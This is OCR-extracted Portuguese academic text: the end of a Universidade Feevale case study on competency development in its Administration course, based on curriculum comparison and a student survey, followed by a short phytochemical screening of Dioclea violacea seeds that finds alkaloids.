ordenador do curso, enquanto os subsidios dos numeros de alunos matriculados e formados

foram fornecidos pela Universidade através de requerimento protocolado.




O curso de Administragdo da Feevale € um dos primeiros e mais antigos da instituicdo, tendo
sido criado em 1970, ano de sua inauguragao. Este curso é vinculado ao Instituto de Ciéncias Sociais
Aplicadas — ICSA, e, ao longo dos seus 45 anos de funcionamento, ja formou 2.784 profissionais. No
primeiro semestre de 2015, contava com 1.517 matriculados nos curriculos ativos (200601, 201301 e
201401), sendo o maior da universidade.

O coordenador mencionou que 0s académicos egressos do curso de Administracao da Fee-
vale podem ser descritos como profissionais direcionados ao mercado de trabalho, com uma visao
sistémica que lhes permite aplicar seus conhecimentos em todas as areas das organizagoes, que &
a principal competéncia desenvolvida pela Universidade. A partir disto, como objeto de estudo deste
trabalho, analisa-se o PPC Administragéo (2009) da Universidade Feevale, elaborado em 2005 e re-
visado em 2009, sendo a estrutura do curriculo de 200601, vigente aos alunos que estao em fase de
conclusao deste curso na instituicao.

A estruturacao do projeto pedagogico do curso, como justificativa legal, menciona atender
ao solicitado na Resolugéo n° 4, de 13/07/05 (MEC, 2005) do Conselho Nacional da Educagéo, que
define as diretrizes com relacao ao seu desenvolvimento e sua composi¢cao. Como justificativa acadé-
mica, este curso busca atender a formacgao técnico-cientifica ampla, com compromisso de formar um
gestor com mais competéncia, tanto na area técnica quanto no atendimento e promogéao das inter-re-
lacdes com as outras areas do conhecimento. Para isso, a Feevale se apresenta comprometida co,
a preparacao de profissionais éticos, com responsabilidade social, com capacidades de inovagao,
criatividade, flexibilidade e autonomia, com percepgao das necessidades regionais e com fogo no
desenvolvimento da sociedade. Assim, a instituicdo indica que oferece aos estudantes o confeudo

teorico e pratico necessario para a formacao de uma visao sistémica, que lhe permita ser compgtitivo.




Como justificativa social, indica que o curso procura atender a missao institucional “promover a pro-
ducéao do conhecimento, a formacao integral das pessoas e a democratizacao do saber, contribuindo para
o desenvolvimento da sociedade”, oportunizando assim o desenvolvimento de capacidades que pensem e
repensem o contexto geral dos negocios e assim busque continuamente o aprendizado. Estas justificativas
aparecem em alinhamento com o papel da formagao que tem o intuito de preparar os profissionais para que
apresentem os atributos desenvolvidos na vida social, escolar, pessoal e laboral, com capacidade para atuar
em incertezas e em busca da resolucao de problemas, tendo como foco o desenvolvimento de competéncias
(ANDRADE; AMBONI, 2003).

A partir destas justificativas, analisaram-se os objetivos do PPC Administragao (2009) e as propostas
profissionais da instituicéo, em relacéo a apresentacao das habilidades e ao perfil profissional dos concluin-
tes deste curso. Estes itens correspondem a indicacao de desenvolvimento de competéncias da Universida-
de, partindo do principio de que “[...] as competéncias séo, assim, as capacidades ou os saberes em uso,
que envolvem conhecimentos, habilidades e valores” (ANDRADE; AMBONI, 2003, p. 35).

Os dados apresentados pela Universidade Feevale, em relacéo aos seus objetivos e propostas pro-
fissionais, determinam quais capacidades estdo sendo, ou deveriam estar sendo desenvolvidas em sala
de aula com os académicos vinculados a esta estrutura curricular. Ja se mencionou que na educagao as

competéncias sao desenvolvidas atraves de treinamentos que utilizam um conjunto de habilidades e com-

portamentos, estando interligados a determinacao da qualidade dos profissionais formados para realizacgo
das suas tarefas (TRASATTI; COSTA, 2010). Entretanto, para verificagéo da adequagéo destes topicos gom
as normativas, € possivel verificar no quadro 3 a comparagao das competéncias sugeridas nacionalmente e
as definicoes da Universidade, onde séo relacionados todos os topicos das diretrizes e verificados se festao

sendo atendidos pelas men¢des do projeto pedagogico analisado.




(continua)

COMPETENCIAS E HABILIDADES, segundo parecer
CES/CNE n° 134, proposta pelas Diretrizes Curriculares
para o Curso de Graduagdo em Administragdo

PERFIL PROFISSIONAL E HABILIDADES que o PPC Administragéo (2009) da Universidade Feevale se propde a desenvolver

1. Reconhecer e definir problemas, equacionar solucoes;

- atuacao critica e interdisciplinar nas mais diversas organizagoes;

- percepgao, interpretacao e analise de cenarios;

- gestdo de conflitos dos diversos publicos;

2. Pensar estrategicamente e exercer, em diferentes graus
de complexidade, o processo da tomada de decisao;

- compreensao da organizacao de modo sistémico e estratégico;

- capacidade de tomar decisoes;

- interagao proativa nos diversos contextos organizacionais;

- desenvolvimento de estratégias inovadoras para compreender as multiplas demandas e a geracao de produtos e servigos, visando
atingir os objetivos organizacionais;

3. Introduzir modificagdes nos diferentes processos de
cada negocio;

- desenvolvimento de estratégias inovadoras para compreender as multiplas demandas e a geracao de produtos e servicos, visando
atingir os objetivos organizacionais;

- conhecimento e utilizagdo de tecnologias que possam facilitar e direcionar adequadamente a organizagao na gestao dos negdcios;

4. Atuar preventivamente;

- visdo global que possibilite a compreensao do meio social, politico, econémico e cultural e a compreenséo das relagdes nas orga-
nizacdes, antecipando e promovendo mudancas;

- criagao e aplicacao de conhecimentos nas organizacoes e seu contexto;

- compreensao da organizacao de modo sistémico e estratégico;

- capacidade de tomar decisoes;

- atuacao critica e interdisciplinar nas mais diversas organizagoes;

5. Desenvolver expressdes e comunicagao compativeis
nos processos de negociagao e nas comunicacoes inter-
pessoais ou intergrupais;

- comunicagao interpessoal, negociagéo, trabalho em equipe e lideranga;

- compreensao da organizacao de modo sistémico e estratégico;

- atuacao critica e interdisciplinar nas mais diversas organizagoes;

nto;

- visdo global que possibilite a compreensdo do meio social, politico, econémico e cultural e a compreenséo das relagdes nas orga:
nizacdes, antecipando e promovendo mudancas;

refletir e atuar criticamente sobre a esfera de

scio e sua posicao e funcio de controle e - compreens&o da organizagao de modo sistémico e estratégico;
- capacidade de tomar decisoes; /
- atuacao critica e interdisciplinar nas mais diversas organizagoes; I

Quadro 3 — Comparagédo das competéncias exigidas pelas Diretrizes Nacionais X PPC Administragdo (2009)

Fonte: Elaborado pela académica.




(conclus&o)

7. Desenvolver raciocinio légico, critico e analitico para
operar com valores e formulagdes matematicas;

- percep¢ao, interpretacao e analise de cenarios;

- atuacao critica e interdisciplinar nas mais diversas organizagoes;

8. Expressar-se de modo critico e criativo diante dos
diferentes contextos organizacionais e sociais;

- comunicagao interpessoal, negociagéo, trabalho em equipe e lideranga;

- atuacao critica e interdisciplinar nas mais diversas organizagoes;

9. Ter iniciativa, criatividade, determinagéo, vontade
politica e administrativa;

- interagao proativa nos diversos contextos organizacionais;

- flexibilidade, adaptabilidade e criatividade para lidar com as rapidas transformagdes no ambiente e nos processos;

10. Ter consciéncia da qualidade e das implicacdes
éticas do seu exercicio profissional;

- compreensao da organizacao de modo sistémico e estratégico;

- conhecimento e aplicabilidade dos aspectos legais relevantes ao bom funcionamento da organizagao e suas relacoes com o
ambiente (stakeholders);

11. Vontade de aprender, abertura as mudancas;

- percepgao da necessidade de continuo aperfeicoamento académico-profissional;

- desenvolvimento de conhecimentos cientificos que possibilitem a continuidade e aplicabilidade de pesquisas e avango na area;

- flexibilidade, adaptabilidade e criatividade para lidar com as rapidas transformagdes no ambiente e nos processos;

12. Capacidade de transferir conhecimentos da vida
e da experiéncia cotidianas, revelando-se profissional
adaptavel;

- flexibilidade, adaptabilidade e criatividade para lidar com as rapidas transformagdes no ambiente e nos processos;

- interagao proativa nos diversos contextos organizacionais;

13. Capacidade para elaborar, implementar e consolidar
projetos em organizagoes;

- elaboragao de planos e estratégias que conduzam a organizacao, visando atingir seus objetivos e a qualidade de vida, levando em
consideracao a realidade da sua regiao;

- lideranga para coordenar trabalhos em equipe;

- capacidade de tomar decisoes;

4. Capacidade para realizar consultoria em gestéo e

- visdo global que possibilite a compreensdo do meio social, politico, econémico e cultural e a compreenséo das relagdes nas orga-
nizacdes, antecipando e promovendo mudancas;

- compreenséo da organizacdo de modo sistémico e estratégico; /

- atuacao critica e interdisciplinar nas mais diversas organizagoes; /

Quadro 3 — Comparagao das competéncias exigidas pelas Diretrizes Nacionais X PPC Administragao (2009)

Fonte: Elaborado pela académica.




A partir da visualizagéo destas interligacdes foi possivel mencionar que a Universidade,
na organizacao do curso de Administracéo, se preocupou em atender as Diretrizes Curricula-
res Nacionais, buscando indicar que seus académicos receberdo uma boa formacgao para sua
qualificagcdo, cumprindo seu papel de instituicdo exigido pelo Ministério da Educacao (MEC,
2003). Além da constatagéo do alinhamento das propostas de desenvolvimento dos académi-
cos da instituicdo e normativa, cabe indicar que visualizando a estrutura de disciplinas (UNI-
VERSIDADE FEEVALE, 2015) relacionadas a este PPC (2009), percebeu-se que apresentam os
contetudos, conforme orientacdes do MEC (2003).

Entretanto, além de apresentar este alinhamento do PPC com as exigéncias do MEC em
sua organizacao formal, a seguir sdo apresentados os resultados da aplicagao do questionario
com os alunos concluintes do curso de Administragcao da Universidade Feevale, com refe-
réncia a percepcao sobre o desenvolvimento de competéncias durante a sua formagao. Esta
pesquisa tem o intuito de verificar se os aspectos citados no PPC Administragédo (2009), como
propostas de desenvolvimento para os profissionais, consistiram em aplicacdes praticas e fo-

ram percebidos no desenvolvimento dos estudantes do curso de Administracao da instituicao.

5.2 PERCEPCAO DOS ALUNOS CONCLUINTES EM RELACAO AO DESEN-
VOLVIMENTO DE COMPETENCIAS DURANTE A SUA FORMACAO

A percepcgao dos alunos concluintes do curso de Administracao da Universidade Fee-
vale, em relacao ao seu desenvolvimento de competéncia, foi verificada através da aplicacao
do questionario, sendo que a pesquisadora levou presencialmente nas salas de aula o formu-

lario impresso para que fosse realizada a coleta de dados.




Para caracterizar a amostra dos alunos que responderam ao questionario aplicado, analisando
as respostas que indicam as principais distribuicdes destes nas seguintes categorias: maior parte dos
que responderam sao do sexo feminino e tém entre 20 e 30 anos; a maioria destes académicos iniciou
os estudos apds 0 ano de 2008 e todos estes concluirao o curso no primeiro ou no segundo semestre
de 2015; destaca-se o ramo de atuacao de prestacéo de servicos e que grande parte dos alunos
ainda atua em nivel operacional; além disso, em relagao a renda da amostra, pode-se destacar a faixa
entre R$1.001,00 e R$3.000,00. Esta distribuicdo do perfil dos respondentes caracterizou os alunos
concluintes do curso de Administracao da Feevale, que buscam o contato com o conhecimento para
ampliar seu desenvolvimento de qualificacao profissional e de competéncias, para concorrer por boas
oportunidades para atuagao.

Para introducéo ao tema principal da pesquisa, relacionou-se em uma unica pergunta cinco
aspectos, como de extrema importancia para um processo de aprendizagem. A partir disto, ques-
tionou-se aos académicos sobre qual destes seria, em sua opiniao, 0 mais importante para a deter-
minacao de uma boa formacao. E no julgamento dos académicos respondentes, 0s aspectos com
maior influéncia podem ser indicados na seguinte ordem: o principal seria proporcionar a assimilagao
dos conhecimentos tedricos com aplicagdo em atividades praticas, indicado por 47,4% dos alunos;
posteriormente, com 25,6%, apontou-se o aspecto de oferecer curriculos com conteudos ligados e
aplicaveis a realidade das organizagdes e, ainda dentre os mais citados, com 18% de respost
citou-se incentivar o desenvolvimento cientifico dos alunos para a busca e troca de conhecimenfos.
Estes trés itens ja citados representaram 91% dos respondentes, mas além destes houve algumas
sinalizagbes nos aspectos: contratar professores com experiéncia e dominio do conteudo, com/6,8%

de respostas, e buscar a interdisciplinaridade das disciplinas do curso, com 2,3% de sinalizacéo.




Ao analisar o principal aspecto indicado no questionario, percebe-se a ligacao da
opinido dos alunos com o pensamento de Perrenoud (1999), que indicou que a formagéo &
efetivada através da assimilagao de conhecimentos e competéncias, com a interiorizacao de
praticas relacionadas a posturas reflexivas, onde se complementa uma eficiente interiorizacéo
das informagdes e suas aplicacoes.

A partir desta introducao, disponibilizou-se aos académicos uma tabela contendo 16
competéncias, para que os mesmos avaliassem o seu nivel de desenvolvimento em cada um
destes itens durante a sua formagéo, utilizando as seguintes opgdes de classificacao: Exce-
lente, Bom, Regular, Ruim e Péssimo, avaliados respectivamente como sendo de grau 5, 4, 3,
2 e 1. Esta listagem de competéncias foi construida através do cruzamento das habilidades e
do perfil profissional proposto para desenvolvimento dos académicos no PPC Administragao
(2009), ressaltando assim as diferentes competéncias e habilidades observadas.

A seguir, na tabela 1 séo apresentados os resultados das ponderacoes destes aspec-
tos divididos em quatro blocos, sendo agrupados para analise utilizando as caracteristicas de
classificacdo de competéncias ja citadas anteriormente por Antonello e Dutra (apud ANTO-
NELLO; GODQY, 2009). Esta classificagao se baseia em competéncias denominadas transver-
sais, que, segundo Perrenoud (1999), sdo determinantes no comportamento dos administrado-

res e percebidas nas intervencoes gerenciais.




Tabela 1 — Avaliagéo do Desenvolvimento de Competéncias

Excelente (5) Bom (4) Regular (3) Ruim (2) Péssimo (1)
O curso me ajudou a desenvolver em nivel: Meédia Ponderada
F % P % ¥ % F % F %
1. Compreender a organizagao de modo sistémico e estratégico; 21 15,8 97 72,9 15 11,3 0 0 0 0 4,05
2. Ter capacidade para tomar decisoes; 23 17,3 72 54,1 37 27,8 1 0,8 0 0 3,88
O | 3. Antecipar-me e promover mudangas, evitando problemas; 16 12 76 57,1 39 29,3 1 0,8 1 038 3,79
<L
=
& | 8. Conhecere aplicar os aspectos legais relevantes ao bom funcionamento da organizagao e
) N X 17 12,8 79 59,4 29 21,8 6 45 2 1,5 3,77
suas relagdes com o ambiente;
10. Ter percepcao, interpretacéo e capacidade para andlise de cenarios; 24 18 70 52,6 37 27,8 2 1,5 0 0 3,87
12. Fazer a gestao de conflitos dos diversos publicos; 17 12,8 67 50,4 41 30,8 8 6 0 0 37
MEDIA GERAL DAS COMPETENCIAS DE GESTAO 3,84
13. Dominar a comunicac&o interpessoal e negociagéo; 26 19,5 56 42,1 42 31,6 8 6 1 0,8 3,74
2}
g 14. Ser um lider para coordenar trabalhos em equipe; 21 15,8 72 54,1 35 26,3 5 38 0 0 3,82
o
@ | 15, Estabelecer relagdes humanas que respeitem a integralidade dos individuos nas
o ) » ] - ) 34 25,6 79 59,4 19 14,3 1 0,8 0 0 41
organizagdes, valorizando a ética, os valores morais e a responsabilidade social;
MEDIA GERAL DAS COMPETENCIAS SOCIAIS 3,88
6. Atuar de forma critica e interdisciplinar nas mais diversas organizagoes; 16 12 76 57,1 36 271 4 3 1 0,8 3,77
% | 7. Desenvolver estratégias inovadoras; 21 15,8 62 46,6 41 30,8 9 6.8 0 0 3,71
S}
5 9. Criar e aplicar conhecimentos nas organizagoes e seu contexto; 23 17,3 73 54,9 32 241 5 3,8 0 0 3,86
-
=
16. Elaborar planos e estratégias que conduzam a organizagao, visando atingir seus objetivos
, ) ) ) 18 135 78 58,6 34 25,6 2 15 1 08 3,83
e a qualidade de vida, levando em considerac&o a realidade das regioes.
MEDIA GERAL DAS COMPETENCIAS TECNICAS 3,79
4. Ter percepgao da necessidade de continuo aperfeigoamento académico-profissional; 44 33,1 65 48,9 22 16,5 2 15 0 0 4,14
5. Ter flexibilidade, adaptabilidade e criatividade para lidar com as rapidas transformagées no
_ 24 18 76 57,1 30 22,6 3 23 0 0 3,91
ambiente e nos processos;
. Interagir de forma pré-ativa nos diversos contextos organizacionais; 24 18 68 51,1 36 271 5 3,8 0 0 3,83
IA GERAL DAS COMPETENCIAS DE APRENDIZAGEM ‘ 3,96 /

Fonte: Elaborado pela académica.



Os resultados desta avaliagdo serao abordados aqui pela analise do calculo da média
ponderada de avaliacao dos grupos de competéncias, com intuito de verificar o calculo que
considera a multiplicagéo da frequéncia e peso de cada item, a soma destes produtos, dividi-
do pela soma das frequéncias. Em relagéo ao primeiro grupo, de competéncias de gestéo, €
possivel afirmar que a média ponderada indica a intensidade de respostas proximas a avalia-
céo de nivel 4 (bom), entretanto o registro de algumas avaliagbes em niveis mais negativos,
faz esta média ficar dentro do nivel regular, com excecéao do item um, que apresentou a maior
média ja dentro do nivel bom. Este resultado retoma a ideia de que talvez alguns conteudos e
conhecimentos possam nao ter sido bem desenvolvidos em sala de aula e que estes precisam
ser revistos continuamente para que fagam sentido aos alunos.

Ao analisar a media ponderada da avaliagao das competéncias sociais, percebe-se
também a intensidade de respostas proximas a avaliagdo de nivel 4 (bom), entretanto, com
algumas avaliacbes em niveis mais negativos, esta média geral ficou dentro do nivel regular,
com excecao do item 15 que apresentou a maior media, ja dentro do nivel bom. Novamente,
este resultado indica que alguns académicos nao atingiram a expectativa ou o esperado no

desenvolvimento destas competéncias, uma vez que sao tao importantes para a sua atuagao.

Em relacao a meédia ponderada da avaliagao das competéncias técnicas, a sua media
geral indica a intensidade de respostas proximas a avaliacao de nivel 4 (bom), entretanto fic
dentro do nivel regular em todos os itens, pelos registros de avaliagdes em aspectos mjais
negativos. Nesta situagao, os académicos indicam sua percepcao de desenvolvimento regular
destas competéncias e que tém conhecimento de que poderiam ter uma formagéo melhpr em

relacao a estas capacidades.




A média ponderada da avaliagao das competéncias de aprendizagem apresenta tambem
a intensidade de respostas proximas a avaliagéo de nivel 4 (bom), entretanto, com alguns registros
em niveis mais negativos, esta média geral ficou dentro do nivel regular, com excegao do item qua-
tro, que apresentou a maior meédia, ja dentro do nivel bom. Do mesmo modo, este resultado indica
que a percepcao do nivel de desenvolvimento destas competéncias tem uma intensidade proxima
ao nivel bom, mas que poderia ser melhor trabalhado para desenvolvimento dos académicos.

Contudo, através de uma analise geral da avaliagdo dos blocos de competéncias espe-
cificados por Antonello e Dutra (apud ANTONELLO; GODOQY, 2009), é possivel perceber que o0s
académicos, em sua maioria, acreditam ter tido um bom desenvolvimento das competéncias que
a instituicao propde na formagéo dos alunos deste curso, conforme PPC Administragdo (2009).
Entretanto, ficou visivel também que alguns alunos perceberam algumas falhas na aplicagéo das
competéncias, e por isso citaram que alguns aspectos nao foram tao bem desenvolvidos. Isto
pode ser confirmado pela média geral de avaliacao de cada um destes blocos, que apresentou 0s
seguintes resultados: Competéncias de Gestado 3,84; Competéncias Sociais 3,88; Competéncias
Técnicas 3,79; e Competéncias de Aprendizagem 3,96, sendo que estes resultados ficaram proxi-
mos a meédia de avaliagao na classe bom.

Em complemento a avaliacédo do desenvolvimento das competéncias, na sequéncia do
questionario perguntou-se aos alunos se estes acreditavam ter contribuido com seu papel de eg-
tudante para um bom desenvolvimento das suas competéncias. Um alto percentual de acad
cos, com 72,2% dos respondentes sinalizou a opgao: Sim, que teriam cumprido com seu gapel
de estudante, enquanto que somente 27,8% de académicos sinalizaram que talvez nao tehham

contribuido para isto.




Questionou-se também se os académicos acreditam que as competéncias trabalha-
das durante sua formagao, avaliando o nivel de desenvolvimento destas, séo suficientes para
competir por boas oportunidades de vagas no mercado de trabalho. Percebeu-se que mais da
metade dos respondentes, exatos 65,4%, acreditam que as competéncias desenvolvidas séo
suficientes para competir por vagas no mercado de trabalho, entretanto 4,5% acreditam que
nao e outros 30,1% acreditam que em parte, o que indica uma consideravel duvida na percep-
¢ao de alguns académicos.

E como ultima pergunta do questionario, solicitou-se aos académicos que estes indi-
cassem as suas sugestdes de melhorias para um melhor desenvolvimento de competéncias
no curso de Administracao da Universidade Feevale. Destaca-se que mais da metade dos
respondentes, exatamente 58,6% dos questionarios, apresentaram contribuicoes e sugestoes
de melhorias para o curso de Administragao da instituicao. E como principal destaque cita-se
a indicacao da necessidade de: Maior numero de trabalhos e atividades praticas, levando os
alunos para dentro das empresas, para que apliquem as teorias aprendidas em aula, sendo
que se registrou 52,6% de sugestdes indicando esta melhoria. Como segundo aspecto mais
citado, porém com percentual de referéncia bem menor, com 17,9% a sugestao foi para buscar
professores mais qualificados na area de aprendizagem e didaticas de aula, além de algumas
outras sugestdes que ficaram separadas representando 29,5% de indicacoes.

Ao analisar cada uma destas sugestoes individualmente, percebe-se a importancja e
relevancia destas sinalizagdes e a necessidade de a instituicao estar atenta a estas constata-

coes, pois estes aspectos podem comprometer a formacao dos profissionais.




CONSIDERACOES
INAIS

Ao longo deste trabalho, verificou-se que as competéncias caracterizam a qualificacao
dos profissionais para a realizagéo das suas fungdes e que a competitividade é cada vez maior
no mercado de trabalho, sendo que os trabalhadores que se apresentarem mais preparados
tém mais chance de garantir sua empregabilidade. O individuo competente consegue relacio-
nar suas capacidades, habilidades e atitudes para ter um desempenho superior na realizacao
dos seus afazeres, e, por isso, tem a oportunidade de almejar boas oportunidades de trabalho.
E a relacao entre qualificacao e mercado de trabalho, neste estudo, foi analisada através dos
servicos das instituicoes de ensino, que formam e desenvolvem profissionais.

O estudo de caso, realizado na Universidade Feevale, permitiu a exploragdo do projeto
pedagogico do curso de Administracao; e o contato com o aluno concluinte do curso. Tudo isto
foi importante para que a académica pudesse aprofundar seus conhecimentos sobre o pro-
posito da instituicao, em relacao ao desenvolvimento de competéncias, ja que o mercado de
atuacao para estes profissionais € cada vez mais competitivo. E os resultados do estudo, com
relacao a adequacao da instituicao quanto as normativas nacionais e a percepgao dos alunos
em relagao ao seu desenvolvimento durante a formacgao, apresentados anteriormente, eviden-
ciaram a preocupacao da instituicao em oferecer uma boa qualificacdo. Entretanto, a mesma

precisa continuamente rever seus processos de aprendizagem, para que consiga melhorar a

avaliacao de desenvolvimento de competéncias e assim alcancar seu objetivo institucional
se tornar uma instituicao reconhecida pela exceléncia académica.

Os resultados apresentados indicam a necessidade de um aperfeicoamento confinuo
dos profissionais e da propria instituicdo de ensino, ja que as informagdes sao atualizadas

em grande velocidade e o papel da educacao passou a ser o de fornecer aos individups co-




nhecimentos sobre: aprender a conhecer, aprender a fazer, aprender a conviver e aprender
a ser, associando as competéncias para que estes conteudos possam ser utilizados quando
necessario (BARDUCHI et al., 2010). E, conforme referido, em fung&o das possibilidades de

atuacao dos profissionais de Administracao ser vasta, € importante que estes desenvolvam, no

melhor nivel possivel, as competéncias necessarias para seu desempenho, garantindo a sua
boa performance e diferencial no mercado de trabalho.

Outros estudos ainda podem ser desenvolvidos para continuidade e maior aprofunda-
mento do assunto, por exemplo, pesquisas com o0s alunos dos projetos pedagdgicos mais atu-
alizados, para verificar a sua percepgao sobre o seu desenvolvimento; uma verificagao do real
envolvimento e comprometimento das instituicdes de ensino e alunos para o desenvolvimento

de competéncias; ou ainda identificar quais as competéncias mais utilizadas pelos administra-

dores em sua atuagao.

Por tudo isto, conclui-se que a analise e melhoria continua dos propositos e processos
de aprendizagem s&o necessarias para garantir que as instituicbes de ensino fornegcam aos
seus académicos experiéncias suficientes para seu desenvolvimento e aprimoramento, tendo
0 objetivo de preparar os estudantes para boas oportunidades profissionais, proporcionando

ao mercado de trabalho um capital humano qualificado.
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0 uso de plantas medicinais, extratos vegetais e derivados de produtos naturais sao
empregados pelo homem desde tempos primordiais para o tratamento de vdrias do-
encas. A partir de pesquisas, muitos farmacos foram descobertos de fontes vegetais,
3 citar a morfina obtido da Papaver somniferum. Uma das espécies vegetais utilizadas
na medicina popular é a Dioclea violacea Mart. ex Benth., conhecida como castanha,
olho-de-boi ou coronhs, a qual é empregada para diversas finalidades terapéuticas, como
o controle de crises de epilepsias e tratamento do mal de Parkinson. Porém, hd poucos
relatos de seus estudos cientificos que venham a validar o seu emprego farmacoldgico
e caracterizacao de perfil fitoquimico. Sendo assim, o objetivo do presente trabalho foi
realizar triagem fitoquimica das sementes de Dioclea violacea, caracterizando os seus
componentes majoritarios.

Palavras-chave: Dioclea violdcea. Extrato vegetal. Fitoquimica.

BSTRAC

The use of medicinal plants, vegetable extracts and derivatives of natural products are
used by man since ancient times, for the treatment of various diseases. From research,
many drugs were discovered from plant sources, quoting morphine obtained from Papa-
ver somniferum. One of the plant species used in folk medicine is the Dioclea violaces,
known as castanha (chestnut), olho-de-boi or coronha, which is used for various thera-
peutic purposes, such as seizure control of epilepsy and treatment of Parkinson’s illness.
But there are few reports of their scientific studies that will validate its and pharmacolo-
gical use characterization of phytochemical profile. Thus, the objective of this study was
to carry out phytochemical screening of the Dioclea volacea seeds, characterizing the
major components.

Keywords: Dioclea violacea. Vegetable extracts. Phytochemical.




INTRODUCAO

ESCRICAO
ANICA DE Dioclea

ea Mart.
th

Com o aumento da expectativa de vida da populagao, verifica-se também a crescente
prevaléncia de doencas neurodegenerativas. Assim, a busca de novas fontes de fitofarmacos
torna-se de suma importancia.

Nos ultimos anos tem se verificado um grande avanco cientifico envolvendo os estudos
fitoquimicos e farmacolégicos de plantas medicinais que visam obter novos compostos, como
exemplo a galantamina atualmente empregada para o tratamento da Alzheimer (VIEGAS JU-
NIOR et al., 2004).

Dioclea violacea, conhecida vulgarmente como olho-de-boi, castanha e coronha, po-
dera ser uma potencial candidata para o tratamento de doencgas neurodegenerativas, uma vez
que popularmente € empregada para tal finalidade. Com esses dados, inicia-se a investigacao
por compostos que apresentam o potencial necessario, como os alcaléides.

A presente pesquisa teve como objetivo realizar testes fitoquimicos qualitativos nas
sementes da D. violacea, pesquisando a presenca de compostos fenolicos, taninos, saponi-
nas, flavonoides, alcaldides, cumarinas, antraquinonas, terpenos, esteroides/triterperoides e

glicosideos cardiotonicos.

D. violacea nao € uma planta endémica. Possui uma distribuicao geografica que abrap-
ge o nordeste (Piaui, Pernambuco, Bahia, Sergipe), Centro-Oeste (Mato Grosso do Sul),
deste (Mina Gerais, Espirito Santo, Sao Paulo, Rio de Janeiro) e o Sul (Parand, Santa Catdrina,
Rio Grande do Sul). Dependendo da regido é conhecida pela populacéo por nomes diversos,

como olho-de-boi, estojo de luneta, castanha, coronha, etc. D. violacea possui diversas va-




riedades; o que restringe a semente em estudo ¢ a cor da flor que nasce para entao surgir a
semente dentro de uma “vagem”, esta flor possui uma cor violeta (QUEIROZ, 2012).

A D. violacea é uma trepadeira lenhosa, que contém uma grande quantidade de pé-
los castanho-escuros, suas folhas séo pecioladas compostas de trés foliolos grandes, ova-
doblongos, agudos no apice e arredondados na base, revestidos de pubescéncia ferruginea
de consisténcia aveludada. Possui flores violaceo-purpuras, perfumadas com calice violaceo e
estandarte reflexo, com base amarelo-clara, que florescem em janeiro e logo frutificam. Seus
frutos sdo constituidos por uma vagem séssil de até 13 cm de comprimento 6 cm de largura e
2 cm de espessura, de coloracéo marrom-escuro, revestidos de pelos ferrugineos aveludados
e de um po urticante. Geralmente cada fruto contém trés sementes castanho-avermelhadas,
lisas, duras, com hilo linear negro, achatadas e venenosas quando ingeridas cruas. Podem ser
reduzidas a po e utilizadas como formicida, parasiticida e sao aplicadas na pele contra picadas
de insetos e animais venenosos. Ou podem ser cozidas e aproveitadas como alimento (BAR-
REIROS, 2005; MIOTTO; LUDTKE; OLIVEIRA, 2008).

Para o cultivo de uma nova trepadeira € necessario que a semente que nasce da planta
se abra e germine, para que isso ocorra essa semente precisa estar em meio umido onde ela
possa apodrecer, pois a casca desta semente € bastante dura, gerando assim o cultivo da D.

violacea.




TRIAGEM
ITOQUIMICA

4 METODOLOGIA

A andlise fitoquimica auxilia na caracterizagdo das principais classes de metabdlitos
secundarios presentes na planta. A detecgao acontece através de reagoes quimicas formando

uma coloracdo ou precipitados (SIMOES et al., 2004).

4.1 COLETA E IDENTIFICACAO DO MATERIAL VEGETAL

A espécie em estudo foi coletada no interior do Rio Grande do Sul, no municipio de
Picada Café, em janeiro de 2015. O material vegetal, coletado da mesma planta anteriormente
em 2012 e 2013, ja havia sido identificado botanicamente como D. violacea pelo Professor Me.

Rage Weidner Maluf, responsavel pelo herbario da Universidade Feevale/RS.

4.2 PROCESSAMENTO DO MATERIAL VEGETAL

O material vegetal secou naturalmente, processado em moinho de facas, e armazenado

em envelopes de papelao ao abrigo da luz e umidade, até o periodo de analise. A extracao foi

feita a quente por decocgao.

4.3 TRIAGEM FITOQUIMICA

A caracterizagdo dos metabdlitos secundarios foi realizada por meio de triagem fitoqui-
mica das sementes, a qual consistiu-se de reacdes quimicas qualitativas simples.
Os compostos fendlicos foram detectados pela técnica de reacao corada frente g clo-

reto férrico 1%, ferrocianeto de potassio 1%, e hidroxido de potassio 3%. Para a deteccéao



dos flavonoides foi realizada a reagéo da cianidina (HCI concentrado e magnésio em po). A
caracterizagao de cumarinas foi feita através de reagao em meio alcalinizado por hidroxido de

potassio. Para a deteccao de taninos foi realizada a técnica de reacao de precipitacéao em ge-

latina. As antraquinonas foram caracterizadas pela reacao de Borntraeger. A caracterizacao de
saponinas se deu pelo indice de espuma. Os heterosideos cardiotonicos foram caracterizados
através das reacoes de Salkowsky, Baljet e Keller-Kiliani. A caracterizacao de alcaloides se

deu por meio de reagdes com os reagentes de Bertrand, Mayer e Dragendorff (COSTA, 2000).

5 RESU I.TADOS E Utilizando a metodologia de prospeccao preliminar realizaram-se testes para as classes

DISCUSSOES

de metabdlitos secundarios: esteroides/ triterpenoides, saponinas, taninos, alcaldides, cuma-

rinas, antraquinonas, compostos fendlicos e flavonoides. Os testes foram realizados com as
sementes. Os resultados foram considerados positivos para alcaldides na espécie estudada.
A caracterizagcéo dessa classe de metabdlitos foi confirmada através do surgimento de
precipitado branco, apés adicao dos reagentes Bertrand e Mayer (Figura 1) e o surgimento
de precipitado amarelado com a adicao do reagente de Dragendorff, conforme ilustrado na

Figura 2.




Figura 1 - Caracterizagdo de alcaldides com os reagentes Bertrand e Mayer. Figura 2 -Caracterizagéo de alcaldides com o reagente Dragendorff
Fonte: Proprio autor Fonte: Préprio autor



As informacgdes acerca da medicina popular € um dos principais aspectos que devem
ser observados ao delinear a investigacao de substancias ativas de plantas. Cerca de 75%
dos compostos puros naturais empregados na industria farmacéutica foram isolados, seguindo

recomendacdes de medicina popular (VIEGAS JUNIOR et al., 1996).

Os alcaloides sao estruturalmente bastante diversificados e possuem uma grande ati-
vidade como anticolinérgico, anti-hipertensivo, estimulante do sistema nervoso central, entre
outros (BARBOSA FILHO, 2006). As andlises fitoquimicas fornecem informacgbes relevantes
acerca de metabdlitos secundarios nas plantas, para que assim levar ao isolamento e identifi-
cagao do principio ativo. O estudo fitoquimico € um desafio a ser realizado pela comunidade
cientifica, uma vez que o uso de espécies vegetais para fins terapéuticos € crescente. Atraves

de novas pesquisas, podera ser identificado qual alcaldide que se faz presente na semente da

planta e analisar os dados obtidos com novos testes.

6 CONSIDERACOES A pesquisa envolvendo plantas medicinais vem crescendo visivelmente ao longo dos
z anos, particularmente quanto aos estudos fitoquimicos e farmacologicos, visando assim validar
FINAIS

0 seu uso popular.
